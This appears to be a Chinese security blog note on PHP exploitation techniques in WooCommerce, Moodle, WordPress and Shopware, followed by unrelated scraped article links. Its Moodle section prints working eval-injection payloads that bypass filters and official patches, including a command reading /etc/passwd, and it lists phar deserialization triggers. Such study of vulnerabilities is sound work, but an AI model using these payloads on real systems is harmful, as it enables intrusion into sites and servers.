本文学习了几种新式的php exploit方法,在此做一笔记

文件删除漏洞, unlink()

Phar 反序列化, file*()

PHP对象实例化, ReflectionClass()

0x01 WordPress Design Flaw Leads to WooCommerce RCE

WooCommerce 3.4.6本版本之前存在任意删除漏洞,因为WordPress的设计缺陷将导致整站被接管。

设计缺陷:

WooCommerce插件被关闭之后edit_users权限依旧存在

但是插件的disallow_editing_of_admins过滤器不会再被触发

一般只有administrators可以关闭插件,(但是我们这里有任意文件删除,相当于关闭了插件)

0x02 Moodle < 3.5.0

Code Injection

首先,教师角色是必须的(可以利用xss得到)

使用了eval函数

public function substitute_variables_and_eval($str, $dataset){

// substitues {x} and {y} for numbers like 1.2 with str_replace():

$formula = $this->substitute_variables($str, $dataset);

if ($error = qtype_calculated_find_formula_errors($formula)) {

return $error;// formula security mechanism

}

$str=null;

eval('$str = '.$formula.';');// dangerous eval()-call

return $str;

}

但是有过滤

function qtype_calculated_find_formula_errors($formula){

// Returns false if everything is alright

// otherwise it constructs an error message.

// Strip away dataset names.

while (preg_match('~\\{[[:alpha:]][^>}

$formula = str_replace($regs[0], '1', $formula);

}

// Strip away empty space and lowercase it.

$formula = strtolower(str_replace(' ', '', $formula));

$safeoperatorchar = '-+/*%>:^\~=&|!'; /* */

$operatorornumber = "[{$safeoperatorchar}.0-9eE]";

// [...]

if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {

return get_string('illegalformulasyntax','qtype_calculated',$regs[0]);

} else {

// Formula just might be valid.

return false;

}

}

bypass过滤

payload

1.{a.`$_GET[0]`}

2. /*{a*/`$_GET[0]`;//{x}}

=> 0=(date;cat/etc/passwd)>../hi.txt

bypass官方补丁

1.Blacklist

补丁说明:循环检测输入中是否存在//,/*,#

function qtype_calculated_find_formula_errors($formula){

foreach (['//', '/*', '#'] as $commentstart) {

if (strpos($formula, $commentstart) !== false) {

return get_string('illegalformulasyntax',

'qtype_calculated',

$commentstart);

}

}

payload

1?>=log(1){a.`$_GET[0]`.({x})}?>

2.拒绝使用占位符嵌套

public function find_dataset_names($text){

// Returns the possible dataset names found in the text as an array.

// The array has the dataset name for both key and value.

if (preg_match_all('~\\{([[:alpha:]][^>}

$datasetnames = array_unique($regs[1]);

return array_combine($datasetnames, $datasetnames);

} else {

return [];

}

}

// [...]

function qtype_calculated_find_formula_errors($formula){

$datasetnames = find_dataset_names($formula);

foreach ($datasetnames as $datasetname) {

$formula = str_replace('{'.$datasetname.'}', '1', $formula);

}

payload

/*{x}{a*/`$_GET[0]`/*(1)//}{a*/`$_GET[0]`/*({x})//}*/

3.黑名单+线性替换

控制 xml 实现

参考:

0x03 WordPress File Delete to Code Execution

影响范围: =<4.9.6

前提:拥有媒体文件的删除权限(只能利用其它漏洞或者错误配置来取得)

删除目标:

.htaccess 有时其中会包含一些安全策略(比如:访问某些文件夹的权限),删除后会是安全策略无效。

index.php files 一般这个文件是空的,主要是为了防止列目录,被删除了就有可能去列目录了。

wp-config.php 这个删除了,WordPress就要被重装了。

0x04 Phar:// Deserialization

敏感点:

include('phar://test.phar');

file_get_contents('phar://test.phar');

file_put_contents('phar://test.phar', '');

copy('phar://test.phar', '');

include('phar://test.phar');

file_get_contents('phar://test.phar');

file_put_contents('phar://test.phar', '');

copy('phar://test.phar', '');

file_exists('phar://test.phar');

is_executable('phar://test.phar');

is_file('phar://test.phar');

is_dir('phar://test.phar');

is_link('phar://test.phar');

is_writable('phar://test.phar');

fileperms('phar://test.phar');

fileinode('phar://test.phar');

filesize('phar://test.phar');

fileowner('phar://test.phar');

filegroup('phar://test.phar'); fileatime('phar://test.phar');

filemtime('phar://test.phar');

filectime('phar://test.phar');

filetype('phar://test.phar');

getimagesize('phar://test.phar');

exif_read_data('phar://test.phar');

stat('phar://test.phar');

lstat('phar://test.phar');

touch('phar://test.phar‘);

md5_file('phar://test.phar');

可以参考:

0x05 Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE

影响范围:Shopware version <= 5.3.3 and >= 5.1

XSS→POI→XMLi→XXE→PHAR→POI→POP→RCE

php最新图片漏洞,2018最新PHP漏洞利用技巧相关推荐

  1. Log4j 严重漏洞修最新修复方案参考

    CVE-2021-44228,原理上是 log4j-core 代码中的 JNDI 注入漏洞.这个漏洞可以直接导致服务器被入侵,而且由于"日志"场景的特性,攻击数据可以多层传导,甚至 ...

  2. Bash bug漏洞目前最新最全的修复方式

    为什么80%的码农都做不了架构师?>>>    Bash bug漏洞已经爆过2天时间,安全狗安全团队已经第一时间向广大用户进行预警.但由于Bash在Linux系统的广泛应用导致众多L ...

  3. 微信远程代码执行漏洞(最新版本利用)-亲测已上线

    目录 POC: index.html exp.js 测试总结: 最新版微信利用方式(最新版存在) web安全学习了解: web渗透测试   官网: 宣紫科技   POC: index.html < ...

  4. 2018最新Web前端经典面试试题及答案

    本篇收录了一些面试中经常会遇到的经典面试题以及自己面试过程中遇到的一些问题,并且都给出了我在网上收集的答案.马上就要过春节了,开年就是崭新的一年,相信很多的前端开发者会有一些跳槽的悸动,通过对本篇知识 ...

  5. 【转帖】2018年Windows漏洞年度盘点

    2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...

  6. 2018最新苹果APP上架App Store流程(超详细)

    2018最新整理iOS app上架app详细教程 上架iOS需要一个付费688的开发者账号,还没有的话申请一个或者借用. 申请苹果开发者账号教程 上架App Store之前是先安装到苹果手机测试调试好 ...

  7. 2018最新精选的Go框架,库和软件的精选列表 二

    2018最新精选的Go框架,库和软件的精选列表 二 地理 地理工具和服务器 geocache - 适用于基于地理定位的应用程序的内存缓存. pbf - OpenStreetMap PBF golang ...

  8. 2018最新精选的Go框架,库和软件的精选列表 二 https://awesome-go.com/

    地理 地理工具和服务器 geocache - 适用于基于地理定位的应用程序的内存缓存. pbf - OpenStreetMap PBF golang编码器/解码器. S2几何 - Go中的S2几何库. ...

  9. s2 安恒 漏洞验证工具_Struts2漏洞检查工具2018版(最新版)V2.0[带批量功能]

    2018-08-24: 增加S2-057 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16  此漏洞影响范围非常小,要求配置条件比较苛刻,同时,一些特定版本没有看到有 ...

最新文章

  1. dataTable 从服务器获取数据源的两种表现形式
  2. vue 仿ele 开发流程
  3. eclipse git插件配置
  4. 带你学python基础:模块和包
  5. 【Elasticsearch】ES写入满排查思路-内存溢出
  6. java中实现工厂日历_Java Calendar实现控制台日历
  7. Atitit 企业常见100个职能 组织职能 社会职能 政府职能 家庭职能 团队职能
  8. SnifferProDynamipsGUI环境构建
  9. Effective C++学习笔记(条款1-34)
  10. ActiveMQ简介
  11. win10 UWP 你写我读
  12. Python 【爬虫3】_微信小程序_小游戏数据助手数据爬取
  13. 09组团队项目-Alpha冲刺-6/6
  14. DSL 领域特定语言
  15. js html5 音乐播放器代码大全,js实现简单音乐播放器
  16. NASA WIND卫星观测数据作图——origin
  17. [词语辨析] Try, Attempt, Endeavour “尝试” 的用法
  18. Tornado之模板
  19. 【嵌入式开发基础】gn ninja命令安装
  20. JavaEye五月刊记录

热门文章

  1. 这是一次 docker 入门实践
  2. day21 pickle json shelve configpaser 模块
  3. 集合、深浅拷贝、文件操作(读、写、追加)函数初识(参数)
  4. Android 学习Kotlin吗?
  5. appium GUI介绍
  6. Oracle使用startup与startup force启动的区别
  7. springboot干什么的_Spring Boot 项目的这些文件都是干啥用的?
  8. java comparator_Java基础之String漫谈(二)
  9. python程序写诗_用Python作诗,生活仍有诗和远方
  10. 2017计算机三级哪个好考,快速突破2017年计算机三级考试的几大复习阶段